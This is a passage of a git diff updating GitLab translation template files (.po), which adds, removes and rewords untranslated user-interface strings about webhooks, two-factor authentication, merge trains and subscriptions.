-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24413,6 +25087,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24530,6 +25207,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24605,12 +25285,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24623,6 +25306,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24773,19 +25459,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24809,6 +25495,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24839,7 +25528,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25013,9 +25702,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25178,15 +25864,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25247,6 +25933,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25624,9 +26313,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25711,9 +26397,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25735,9 +26427,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25798,6 +26487,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25942,6 +26634,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26011,9 +26706,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26029,10 +26733,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26215,7 +26931,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26305,6 +27021,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26386,9 +27105,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26404,7 +27120,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26479,7 +27195,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26569,9 +27285,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26623,9 +27336,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26869,9 +27579,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26905,6 +27621,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26941,6 +27660,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26983,6 +27705,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27189,6 +27917,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27252,9 +27983,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27396,7 +28124,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27441,6 +28169,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27462,21 +28274,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27486,6 +28298,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27805,10 +28620,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27817,6 +28632,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27826,6 +28647,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27862,9 +28686,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27898,13 +28719,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27988,10 +28809,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28204,6 +29025,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28279,7 +29103,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28396,6 +29220,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28526,6 +29353,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28830,12 +29660,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28998,6 +29822,13 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "group"
msgstr ""
@@ -29043,9 +29874,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -29089,6 +29917,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29240,9 +30071,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29255,6 +30092,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29327,9 +30167,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29363,12 +30200,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29450,19 +30281,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29682,6 +30513,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29728,9 +30562,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29848,6 +30679,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29866,6 +30700,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29929,6 +30766,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/sq_AL/gitlab.po b/locale/sq_AL/gitlab.po
index 58fa0128c86..446c8057633 100644
--- a/locale/sq_AL/gitlab.po
+++ b/locale/sq_AL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sq\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:48\n"
+"PO-Revision-Date: 2020-09-04 23:10\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
